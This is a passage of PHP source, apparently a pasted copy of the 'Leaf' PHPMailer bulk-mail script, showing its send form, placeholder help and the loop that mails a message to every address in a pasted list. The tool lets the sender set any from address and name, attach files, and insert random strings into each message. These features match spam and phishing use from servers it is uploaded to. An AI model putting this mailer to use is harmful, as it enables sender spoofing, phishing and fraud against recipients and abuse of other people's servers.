  3351. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">' . $emailList . '</textarea></div>
  3352. </div>
  3353. <div class="row">
  3354. <div class="form-group col-lg-6 ">
  3355. <label for="messageType">Message Type</label>
  3356. HTML <input type="radio" name="messageType" id="messageType" value="1" ' . $html . '>
  3357. Plain<input type="radio" name="messageType" id="messageType" value="2" ' . $plain . '>
  3358. </div>
  3359. <div class="form-group col-lg-3 ">
  3360. <label for="encode">Encode Type</label>
  3361. <select class="form-control input-sm" id="encode" name="encode">
  3362. <option value="UTF-8" selected>UTF-8 Encode</option>
  3363. <option value="UTF-8">ISO Encode</option>
  3364. </select>
  3365. </div>
  3366. </div>
  3367. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  3368.  
  3369. </form>
  3370. </div>
  3371. <div class="col-lg-6"><br>
  3372. <label for="well">Instruction</label>
  3373. <div id="well" class="well well">
  3374. <h4>Server Information</h4>
  3375. <ul>
  3376. <li>ServerIP : <b>' . $_SERVER['SERVER_ADDR'] . '</b></li>
  3377.  
  3378. </ul>
  3379. <h4>HELP</h4>
  3380. <ul>
  3381. <li>[-email-] : <b>Reciver Email</b></li>
  3382. <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
  3383. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  3384. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  3385. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  3386. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  3387. <li>[-randommd5-] : <b>Random MD5 </b></li>
  3388. </ul>
  3389. <h4>example</h4>
  3390. Reciver Email = <b>user@domain.com</b><br>
  3391. <ul>
  3392. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  3393. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  3394. </ul>
  3395.  
  3396. <h6>by <b><a href="http://' . $leaf['website'] . '">' . $leaf['website'] . '</a></b></h6>
  3397. </div>
  3398. </div>';
  3399. if ($_POST['action'] == "send") {
  3400. print ' <div class="col-lg-12">';
  3401. $maillist = explode("
  3402. ", $emailList);
  3403. $n = count($maillist);
  3404. $x = 1;
  3405. foreach ($maillist as $email) {
  3406. print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-5">' . $email . '</div>';
  3407.  
  3408. /* if(!leafMailCheck($email)) {
  3409. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  3410. print "<br>\r\n";
  3411. }
  3412. */
  3413. if(empty($email)){
  3414. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  3415. print "<br>\r\n";
  3416. break;
  3417. }
  3418. $mail = new PHPMailer;
  3419. $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email));
  3420. $mail->addReplyTo(leafClear($replyTo, $email));
  3421. $mail->addAddress($email);
  3422. $mail->Subject = leafClear($subject, $email);
  3423. $mail->Body = leafClear($messageLetter, $email);
  3424. $mail->CharSet = $encode;
  3425. for ($i = 0;$i < count($_FILES['attachment']['name']);$i++) {
  3426. if ($_FILES['attachment']['tmp_name'][$i] != "") {
  3427. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i]);
  3428. }
  3429. }
  3430. if ($messageType == 1) {
  3431. $mail->IsHTML(true);
  3432. } else {
  3433. $mail->IsHTML(false);
  3434. }
  3435. if (!$mail->send()) {
  3436. echo '<div class="col-lg-6"><span class="label label-default">' . $mail->ErrorInfo . '</span></div>';
  3437. } else {
  3438. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  3439. }
  3440. print "<br>
  3441. ";
  3442.  
  3443. $x++;
  3444. for ($k = 0;$k < 40000;$k++) {
  3445. echo ' ';
  3446. }
  3447. }
  3448. }
  3449. print '</body>';
Add Comment
Please, Sign In to add comment